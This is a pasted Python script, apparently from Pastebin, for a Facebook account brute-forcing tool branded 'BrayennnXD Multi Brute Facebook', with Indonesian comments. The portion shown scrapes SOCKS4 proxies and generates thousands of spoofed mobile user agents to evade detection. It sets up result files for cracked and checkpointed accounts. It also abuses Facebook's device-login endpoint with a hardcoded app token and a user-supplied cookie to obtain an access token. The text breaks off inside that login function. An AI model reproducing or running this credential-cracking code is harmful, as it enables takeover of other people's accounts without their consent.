OBF-XIn

94.187.2.30-/sdcard/free.py.py

Apr 27th, 2023
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 92.44 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from bs4 import BeautifulSoup as parser
  8. from bs4 import BeautifulSoup as par
  9. from concurrent.futures import ThreadPoolExecutor as tred
  10. from rich.console import Group as gp
  11. from rich.panel import Panel as panel
  12. from rich.panel import Panel as nel
  13. from rich.progress import track
  14. from time import sleep
  15. from rich import print as cetak
  16. from concurrent.futures import ThreadPoolExecutor as BrayennnXD
  17. from rich.panel import Panel
  18. from rich.markdown import Markdown as mark
  19. from rich.columns import Columns as col
  20. from rich.tree import Tree
  21. from rich import print as rprint
  22. from rich import print as prints
  23. from rich import pretty
  24. from rich.console import Console as sol
  25. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
  26. from rich.text import Text as tekz
  27. dump = []
  28. ualu,ualuh = [],[]
  29. try:
  30.         import rich
  31. except ImportError:
  32.         cetak(nel('\t• Sedang Menginstall Modul Rich •'))
  33.         os.system('pip install rich')
  34. try:
  35.         import stdiomask
  36. except ImportError:
  37.         cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
  38.         os.system('pip install stdiomask')
  39. try:
  40.     import requests
  41. except ImportError:
  42.     cetak(nel('\t• Sedang Menginstall Modul Requests •'))
  43.     os.system('pip install requests && pip install mechanize ')
  44. ###----------[ IMPORT MODULE RICH ]---------- ###
  45. from rich.panel import Panel
  46. from rich.tree import Tree
  47. from rich import print as prints
  48. from rich.console import Console
  49. from rich.table import Table
  50. from rich.columns import Columns
  51. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  52. console = Console()
  53. sys.stdout.write('\x1b]2; BMBF | BrayennnXD Multi Brute Facebook\x07')
  54. #------------------[ USER-AGENT ]-------------------#
  55. pretty.install()
  56. CON=sol()
  57. ugen2=[]
  58. ugen=[]
  59. cokbrut=[]
  60. ses=requests.Session()
  61. princp=[]
  62. from rich.console import Console
  63. from rich.columns import Columns
  64. wa = Console()
  65. try:
  66.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
  67.     open('.prox.txt','w').write(prox)
  68. except Exception as e:
  69.     print('[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mBrayennnXD')
  70. prox=open('.prox.txt','r').read().splitlines()
  71. for xd in range(10000):
  72.     a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  73.     b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  74.     c=random.randrange(73,100)
  75.     d=random.randrange(4200,4900)
  76.     e=random.randrange(40,150)
  77.     uaku=f'Mozilla/5.0 (Linux; Android {a}; SAMSUNG SM-A305FN) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  78.     ugen2.append(uaku)
  79.  
  80. for t in range(10000):
  81.     a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  82.     b=random.choice(['SM-J415F','SM-J610F','CPH2109','CPH2015','SM-N975F','SM-M515F','SM-G530H','SM-J610G','SM-A405FN','SM-M317F','CPH1869','SM-G887N','SM-R765T','SM-G610M','SM-J327AZ'])
  83.     c=random.choice(['OPM1','TP1A','RP1A','PPR1','PKQ1','QP1A','SP1A','RKQ1'])
  84.     d=random.randrange(111111,210000)
  85.     e=random.randrange(73,100)
  86.     f=random.randrange(4200,4900)
  87.     g=random.randrange(40,150)
  88.     h=random.choice(['HeyTapBrowser/10.8.9.1','HeyTapBrowser/40.8.9.1','HeyTapBrowser/7.5.9','HeyTapBrowser/45.7.5.9','HeyTapBrowser/10.7.39.5','HeyTapBrowser/12.7.36.1','HeyTapBrowser/20.7.36.1','HeyTapBrowser/36.7.36.1','HeyTapBrowser/2.7.36.1','HeyTapBrowser/34.7.36.1','HeyTapBrowser/13.7.36.1,''HeyTapBrowser/16.7.36.1'])
  89.     brayen1=f'Mozilla/5.0 (Linux; Android 8; Redmi 5 Build/PPR1.130409.011; en-us) AppleWebKit/537.36 (KHTML, likr Gecko) UCBrowser/79.0.5545.136 Mobile Safari/537.36 Puffin/9.7.281695AP {h}'
  90.     brayen2=f'Mozilla/5.0 (Linux; Android 7;  en-us; I1927 Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4702.120 Mobile Safari/537.36 Instagram 180.0.0.31.119 Android (30/11; 480dpi; 1080x2310; vivo/iQOO; I1927; I1928; qcom; e'
  91.     uaku2 = random.choice([brayen1,brayen2])
  92.     ugen.append(uaku2)
  93.    
  94. for x in range(10):
  95.     a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  96.     b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  97.     c=random.randrange(73,100)
  98.     d=random.randrange(4200,4900)
  99.     e=random.randrange(40,150)
  100.     uak=f'Mozilla/5.0 (Linux; Android {a}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  101. def uaku():
  102.     try:
  103.         ua=open('bbnew.txt','r').read().splitlines()
  104.         for ub in ua:
  105.             ugen.append(ub)
  106.     except:
  107.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  108.         ua=open('.bbnew.txt','w')
  109.         aa=re.findall('line">(.*?)<',str(a))
  110.         for un in aa:
  111.             ua.write(un+'\n')
  112.         ua=open('.bbnew.txt','r').read().splitlines()
  113. ###----------[ WARNA PRINT RICH ]---------- ###
  114. M2 = "[#FF0000]" # MERAH
  115. H2 = "[#00FF00]" # HIJAU
  116. K2 = "[#FFFF00]" # KUNING
  117. B2 = "[#00C8FF]" # BIRU
  118. P2 = "[#FFFFFF]" # PUTIH
  119. ###----------[ CEK WARNA TEMA ]---------- ###
  120. try:
  121.     file_color = open("data/theme_color","r").read()
  122.     color_text = file_color.split("|")[0]
  123.     color_panel = file_color.split("|")[1]
  124. except:
  125.     color_text = "[#00C8FF]"
  126.     color_panel = "#00C8FF"
  127. #------------[ INDICATION ]---------------#
  128. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[]
  129. taplikasi=['no']
  130. cokbrut=[]
  131. method = []
  132. pwpluss,pwnya=[],[]
  133. P = '\x1b[1;97m' # PUTIH
  134. M = '\x1b[1;91m' # MERAH
  135. H = '\x1b[1;92m' # HIJAU
  136. K = '\x1b[1;93m' # KUNING
  137. B = '\x1b[1;94m' # BIRU
  138. U = '\x1b[1;95m' # UNGU
  139. O = '\x1b[1;96m' # BIRU MUDA
  140. N = '\x1b[0m'   # WARNA MATI
  141. #------------[ WARNA-COLOR ]--------------#
  142. P = '\x1b[1;97m'
  143. M = '\x1b[1;91m'
  144. H = '\x1b[1;92m'
  145. K = '\x1b[1;93m'
  146. B = '\x1b[1;94m'
  147. U = '\x1b[1;95m'
  148. O = '\x1b[1;96m'
  149. N = '\x1b[0m'    
  150. Z = "\033[1;30m"
  151. sir = '\033[41m\x1b[1;97m'
  152. x = '\33[m' # DEFAULT
  153. m = '\x1b[1;91m' #RED +
  154. k = '\033[93m' # KUNING +
  155. h = '\x1b[1;92m' # HIJAU +
  156. hh = '\033[32m' # HIJAU -
  157. u = '\033[95m' # UNGU
  158. kk = '\033[33m' # KUNING -
  159. b = '\33[1;96m' # BIRU -
  160. p = '\x1b[0;34m' # BIRU +
  161. asu = random.choice([m,k,h,u,b])
  162. #--------------------[ CONVERTER-BULAN ]--------------#
  163. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  164. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  165. tgl = datetime.datetime.now().day
  166. bln = dic[(str(datetime.datetime.now().month))]
  167. thn = datetime.datetime.now().year
  168. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  169. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  170. #------------------[ MACHINE-SUPPORT ]---------------#
  171. def alvino_xy(u):
  172.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  173. def clear():
  174.     os.system('clear')
  175. def back():
  176.     login()
  177. #------------------[ LOGO-LAKNAT ]-----------------#
  178. def banner():
  179.     cetak(panel(f"""
  180. ⠐⣶⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  181. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢯⣿⣲⣄⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  182. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣟⣽⢟⣕⢄⠀⠀⠀⠀⠀⠀⣧⠀⡀⠀⠀⠀⠀⢠⢮⡾⣽⡻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  183. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⣮⣟⡼⡌⡆⠀⠀⠀⠀⡰⡵⠰⡃⠀⠀⠀⢠⢃⡻⣜⢯⣻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  184. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⣮⡵⣫⡵⢹⠀⠀⠀⠻⡄⡧⣈⠚⠀⠀⠀⢸⢺⡗⣭⣛⢿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  185. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡿⡵⢞⣫⡆⡹⠀⠀⠀⢑⠥⡨⡐⠫⣢⠀⠀⢸⢺⣽⢚⡭⣯⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  186. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣿⣿⣶⣻⡭⣷⢣⠇⠄⠤⢀⠼⣄⣸⡌⡆⢠⡧⠀⠈⡷⣮⢯⣛⣶⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀
  187. ⠀⠀⠈⠢⡀⠠⡒⠀⠂⠐⠀⠂⠀⣀⣴⢾⣿⣿⣿⣷⣚⣷⡿⣳⠛⠒⠒⠒⢇⠏⡚⠓⠈⢀⢬⠓⠒⠒⠚⢞⡯⣟⣶⣛⣿⣿⣿⣿⡦⣖⠀⠀⠀⠀⠂⠐⠀⡄⠀⠐⠁⠀⠀⠀
  188. ⠀⠀⠀⠀⠘⡄⠈⠢⡀⢀⣠⡴⣟⢿⣹⢿⣺⣿⣟⣶⣛⡭⠛⠁⠀⠀⠀⠀⠈⣑⣜⡆⢔⣕⣁⠀⠀⠀⠀⠀⠙⢯⡞⣛⣾⣿⣿⣸⣿⣹⣿⠶⣤⡀⠀⡠⠊⢀⠎⠀⠀⠀⠀⠀
  189. ⠀⠀⠀⠀⠀⠈⣦⡴⣾⢯⡽⢾⡹⣾⣝⣾⣟⠫⠞⠋⡁⠤⠀⠒⠀⠉⠁⠀⠀⠀⢈⣷⣁⠀⠀⠀⠀⠉⠁⠐⠂⠤⢈⡙⠛⠯⣻⣾⣷⣏⢾⣻⢫⡽⣻⠶⣤⡂⠀⠀⠀⠀⠀⠀
  190. ⠀⠀⠀⠀⠀⣾⣯⣷⣯⣻⣿⣧⣿⣟⡕⢋⢠⠐⠊⠁⠀⡀⣤⢀⣲⣦⣭⣥⣤⣴⣶⣤⣴⣦⣤⣬⣭⣥⣖⣂⣤⣄⡀⠀⠁⠂⡄⡉⢪⣟⣿⣵⣯⣾⣭⣟⣏⣿⡄⠀⠀⠀⠀⠀
  191. ⠀⠀⠀⠀⢸⢿⣿⣿⣿⣯⣿⣿⢳⣾⠇⠋⢀⢠⠰⠘⢃⣡⣾⣿⣿⢿⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⣷⣮⣁⠃⠶⡄⡀⠁⠳⢹⣏⣿⣟⣿⣿⣾⣿⣿⣇⠀⠀⠀⠀⠀
  192. ⠀⠀⠀⠀⢸⣟⢟⢿⣝⣟⣻⢻⢿⠁⢀⠜⠋⠀⠀⣠⣿⣿⠏⣿⣧⡇⣸⣿⣟⣯⡿⣽⣻⡿⣽⣿⣏⢈⣼⣿⡟⣧⣝⢧⡀⠀⠁⠃⡄⠀⡏⡿⣻⣻⣻⡽⣫⢻⣿⠀⠀⠀⠀⠀
  193. ⠀⠀⠀⠀⢸⣿⢼⣱⢬⣙⡻⠭⣯⣦⣀⠑⠄⣀⣼⣿⣿⣮⠃⢿⣻⡿⣿⠟⣾⢷⣻⢯⣷⣟⣿⡻⣿⣿⣟⣿⠃⡾⣿⣷⡵⣄⢀⠔⢁⣠⣷⠿⢝⡚⡭⢮⣹⢿⡇⠀⠀⠀⠀⠀
  194. ⠀⠀⠀⠀⠀⢿⣾⣹⢾⡱⣺⠭⣽⣱⢞⡿⣩⢿⣟⣳⣿⢿⣿⣿⣿⡽⡍⢸⣟⣯⣟⣿⢾⡽⣾⡇⠙⣺⣽⣿⣷⣿⣿⣷⢻⣷⣭⢻⣗⢦⣻⡱⣽⢚⣟⣦⣿⣿⠃⠀⠀⠀⠀⠀
  195. ⠀⠀⠀⠀⠀⡸⢿⣿⣟⣧⣷⣹⢥⠷⣞⣱⢏⡾⣱⣎⠧⣽⡱⠯⣟⢿⡡⠈⣿⣳⢿⡾⣿⡽⣷⠃⢄⡧⣟⡝⡧⢿⣲⣙⣧⢳⡞⣧⠺⡭⣖⢿⣸⣏⣷⣿⣿⠏⠀⠀⠀⠀⠀⠀
  196. ⠀⠀⠀⢀⠜⠀⠠⠛⠿⣿⣿⣿⣿⣿⣵⣯⣾⢾⡳⣌⣿⢣⣝⣟⢣⠗⣝⢷⣿⣟⣯⣟⡷⣿⣿⡶⣫⣚⢖⡻⣵⣋⠷⣞⠼⣯⣳⣽⣯⣿⣿⣿⣿⣿⠿⠛⢅⠀⠑⡀⠀⠀⠀⠀
  197. ⠀⠀⢀⠎⠀⡰⠁⠀⠀⠀⠈⠉⠛⣿⣿⣿⣿⣷⣿⣋⣮⢷⡹⣌⣧⢿⢫⢵⣻⣟⣾⣽⣻⢷⡿⡽⣜⢻⢮⣕⢫⢷⣽⣎⣿⣿⣿⣿⣿⡿⡟⠉⠉⠀⠀⠀⠀⢢⠀⠘⠄⠀⠀⠀
  198. ⠀⢀⠊⠀⡐⠀⠀⢀⣀⠀⠀⠀⢸⣿⣾⣿⣿⣿⣿⣿⣾⡷⢻⡹⣜⣣⣿⢫⢧⣿⣟⣾⣽⣿⢻⣞⣧⣏⡳⢯⣛⢾⣶⣿⣿⣿⣿⣿⣿⡇⢻⠀⠀⠀⢀⣀⠀⠀⠡⠀⠈⡄⠀⠀
  199. ⠀⠌⠀⡰⠀⠀⠀⢸⣿⣷⣤⣀⠘⣿⣿⣿⣿⣿⣿⣽⣷⣿⣿⣿⣭⣷⣼⣟⣾⣻⣿⣯⢿⣏⣿⣿⣶⣾⣽⣻⣟⣿⣻⣿⣽⣿⣿⣿⣿⣇⡏⢀⣤⣴⡿⡝⠀⠀⠀⢣⠀⠘⡀⠀
  200. ⠐⠀⢠⠁⠀⠀⠀⠀⠙⣷⣿⣻⣷⣿⣿⣿⣻⣟⣿⣯⣿⣿⣽⣯⣟⣭⣷⣿⣾⡿⣯⣿⢿⣿⣷⣿⣿⣼⣹⣿⣻⣿⣿⣽⣿⢿⣻⣽⣿⣿⢳⣿⣟⣟⠟⠀⠀⠀⠀⠀⠆⠀⢡⠀
  201. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣷⣟⣿⣽⣿⣯⣷⣿⡾⣿⣶⣯⣟⠿⣟⣿⣻⣽⢿⣽⣻⣿⣻⣾⣳⢯⣟⣿⣻⣿⣿⣟⣿⣭⣛⣿⣳⣯⣿⣏⣾⣟⣾⣿⠀⠀⠀⠀⠀⠀⠘⡀⠀⠀
  202. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⢿⣿⣿⣟⣿⢿⣯⣟⣷⣻⣾⣽⣻⣾⡿⣷⣿⣻⣾⢿⣷⣿⢿⣻⣿⣻⣿⢿⣻⣾⣽⣾⣽⣻⣽⡿⣿⢷⣽⣿⣿⣿⢹⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀
  203. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣟⣿⣿⣿⣯⣿⣟⣿⣿⣿⣷⣿⣻⣾⣽⢿⣽⣻⢾⡿⣯⢿⣻⣽⢯⡿⣽⡻⣫⣵⣾⣾⣿⣟⣿⣿⢿⡟⣾⣿⣟⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  204. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣻⣽⣿⣯⣟⣿⣿⣿⡿⠟⢻⠟⡿⣾⣭⣽⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠟⢛⠿⣿⣿⣿⣿⣿⢸⣿⡿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀
  205. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⢿⣿⣟⣿⣿⣿⣿⠀⠀⢼⠠⠌⠘⣿⣿⣿⣿⡿⣿⣟⢿⣿⣿⣿⡋⠀⠄⡤⠄⠈⣿⣿⣿⣿⣼⢸⣿⣿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⠀⠀
  206. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣻⣿⣿⣿⣿⣶⣶⣶⣶⣿⣿⣿⣿⣿⢿⣻⣯⣸⣷⣿⣿⣿⣷⣶⣷⣶⣾⣿⣿⣿⣿⢿⣾⣿⣿⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀
  207. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⢿⣿⣿⢷⣿⣿⣿⣯⡿⢷⣿⣿⣿⣿⣿⣻⣷⣿⣿⣿⣿⣞⣿⣻⣽⢿⣿⣿⣷⣿⣟⣫⣿⣿⣿⣿⣷⡌⣻⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠
  208. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣯⣿⣳⣿⣽⣻⣿⣻⡽⣟⣾⣳⣿⣿⣿⣿⣿⣿⣿⣷⢿⣿⣻⢾⣻⣟⡿⣿⡯⢿⣾⣿⣵⣿⡣⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  209. ⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣯⣷⡿⣿⣿⣿⣿⣿⣿⣿⣿⡾⣟⣯⣯⣴⣿⣿⣿⣿⣿⣿⣿⠎⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠀⠀⠀
  210. ⠀⠀⠈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⣿⣿⣿⣿⣿⣿⣿⡾⣟⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⡉⠢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠃⠀⠄⠀
  211. ⠀⠀⠀⠘⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠊⠠⠈⠈⣿⣷⣿⢻⣷⣿⣿⢿⣻⣿⡿⣿⣿⢿⣿⣻⣷⣿⡻⣿⡿⡏⣿⣷⣿⠃⠑⢄⠐⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠎⠀⡰⠀⠀
  212. ⠀⠀⢢⠀⠘⡀⠀⠀⠀⠀⠀⠀⡠⠐⢀⠔⠁⠀⠀⢸⣿⣿⣼⠂⢻⠃⣿⢻⣷⣿⣿⣾⣿⡟⣿⡟⢿⠋⣿⠁⣸⣿⣿⣿⠀⠀⠀⠑⠄⠑⢄⠀⠀⠀⠀⠀⠀⢀⠎⠀⡰⠁⠀⠀
  213. ⠀⠀⠀⠡⡀⠈⢄⠀⢀⡠⠔⠊⠀⠀⠆⠀⠀⠀⠀⢸⣿⣿⣿⣷⣿⠀⣯⠀⡿⢹⠛⣿⠟⣷⣿⠃⣾⡄⠙⣶⣿⣿⣽⣿⠀⠀⠀⠀⠈⡄⠀⠈⠂⠄⣀⠀⢠⠊⠀⡐⠁⠀⠀⠀
  214. ⠀⠀⠀⠀⠑⡀⠀⠪⡉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠘⣿⣿⢿⣿⢧⡚⣿⣤⡇⡸⠀⢿⠀⢹⣿⣦⣿⡇⣿⣿⣿⣿⣾⠇⠀⠀⠀⡀⠈⠉⠉⠉⠉⠉⠉⡙⠁⢀⠜⠀⠀⠀⠀⠀
  215. ⠀⠀⠀⠀⠀⠘⢆⠀⠘⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⢿⣿⣿⣿⣿⣷⣦⣿⣤⣾⣿⣿⣿⣿⡿⡜⣿⣷⡟⠀⠀⣴⣿⣿⣿⣶⡄⠀⠀⣠⠞⠀⣠⠆⠀⠀⠀⠀⠀⠀
  216. ⠀⠀⠀⠀⠀⠀⠈⠳⡄⠈⠃⠀⠀⣤⣤⡄⢠⠀⢠⡄⢨⣿⡿⣿⣯⠹⠻⣿⣿⣿⣿⣿⣿⢿⡿⣿⡿⣿⣽⣾⣿⢻⢧⣤⣼⣿⣵⣦⢨⣿⣿⣤⠞⠁⠀⠞⠁⠀⠀⠀⠀⠀⠀⠀
  217. ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⡀⠀⠐⢌⡉⠐⠢⡀⠀⠀⢰⠹⢿⣻⢿⣸⣄⢹⡻⢿⣿⣿⣿⡿⣿⣜⢿⣞⣿⣿⣳⠏⠉⠀⠀⠙⣿⠟⠀⣹⡇⡇⢀⠔⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  218. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⢄⡀⠈⠂⠄⡀⠑⠄⠘⠴⠉⣿⣟⣿⣧⣼⣧⣸⡆⣼⢀⣿⣿⣟⣧⡻⣿⣿⣷⣦⡰⠀⡠⠊⡠⡶⠈⣾⣿⠗⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  219. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠒⠄⡀⠀⠁⠂⠆⠀⢌⠈⣿⣯⢿⡽⣯⣿⢿⡿⣾⣟⣿⣿⢿⣻⣮⣿⣾⡿⣦⣘⠂⠁⠀⣠⣾⡿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  220. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⢀⡀⠀⠀⠀⠀⠁⠂⡄⢀⡀⠀⠁⠐⠛⠻⢽⣳⣟⣯⣟⣷⣻⣾⣽⠿⢿⣿⣞⣯⢿⡿⣿⣻⣿⢿⣟⢿⡿⠁⣀⠀⣀⠀⠀⠀⠀⠀⠀
  221. ⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠈⡆⠀⠀⠀⢀⠎⢠⠂⠈⠑⡀⠠⡀⠤⠤⠀⠀⠀⠀⠀⠀⠀⠠⠤⠄⢘⠙⠻⠯⢿⣟⣷⣯⡿⠾⠋⢀⠊⠀⠀⠀⠈⢢⠀⠀⠀⠀ ⠀⠀⠀
  222. ⠀⠀⠀⠀⠀⠀⢠⠁⠀⢠⠊⠀⠈⠃⠀⠀⢀⠂⡠⠁⠀⠀⠀⠈⢄⠐⠄⠀⠀D+M+C⠀⠀⠀⠀⡠⠁⡰⠁⠀⠀⠀⢢⠈⢄⠀⠀⠈⠊⠀⠁⠂⠀⠀⡇⠀⠀⠀⠀⠀
  223. ⠀⠀⠀⠀⠀⠀⠈⡄⠀⠘⢄⠀⠀⠀⢀⠠⠁⡐⠁⠀⠀⠀⠀⠀⠈⢂⠈⢄⠀⠀⠀⠀⠀⠀⠀⠀⡐⠁⠔⠀⠀⠀⠀⠀⠀⠡⡀⠢⡀⠀⠀⠀⢀⠄⠀⠀⠇⠀⠀⠀⠀⠀⠀⠀  
  224. ⠀⠀⠀⠀⠀⠀⠀⠐⢄⠀⠀⠉⠐⠂⠁⠀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠣⠀⠢⠀⠀⠀⠀⠀⢀⠌⢀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠑⢄⠀⠁⠒⠈⠀⠀⢀⠌⠀⠀⠀⠀⠀⠀⠀⠀
  225. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⠠⠄⠐⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠡⡀⠀⠀⢠⠊⢀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠒⠀⠄⠀⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
  226. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠄⠐⠄⡠⠁⡠⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  227. ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⠈⠀⡐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀                              
  228.             """,width=90,title=f"Banner",style=f"bold white"))
  229. #--------------------[ BAGIAN-MASUK ]--------------#
  230. def login():
  231.     try:
  232.         token = open('.token.txt','r').read()
  233.         cok = open('.cok.txt','r').read()
  234.         tokenku.append(token)
  235.         try:
  236.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  237.             sy2 = json.loads(sy.text)['name']
  238.             sy3 = json.loads(sy.text)['id']
  239.             menu(sy2,sy3)
  240.         except KeyError:
  241.             login_lagi334()
  242.         except requests.exceptions.ConnectionError:
  243.             li = '# Problem Internet Connection, Check And Try Again'
  244.             lo = mark(li, style='red')
  245.             sol().print(lo, style='cyan')
  246.             exit()
  247.     except IOError:
  248.         login_lagi334()
  249.        
  250. def login_lagi334():
  251.     try:
  252.         os.system('clear')
  253.         banner()
  254.         cetak(nel('Disarankan Untuk Menggunakan Cookie Yang Masih Fresh Untuk Melakukan Crack Account',width=90,style=f"bold white"))
  255.         your_cookies = input(' ╰─  Masukan Cookie : ')
  256.         with requests.Session() as r:
  257.             try:
  258.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  259.                 data = {'access_token': '1348564698517390|007c0a9101b9e1c8ffab727666805038','scope': ''}
  260.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  261.                 code, user_code = response['code'], response['user_code']
  262.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=1348564698517390%7C007c0a9101b9e1c8ffab727666805038&callback=LeetsharesCallback'.format(code))
  263.                 r.headers.pop('content-type')
  264.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  265.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
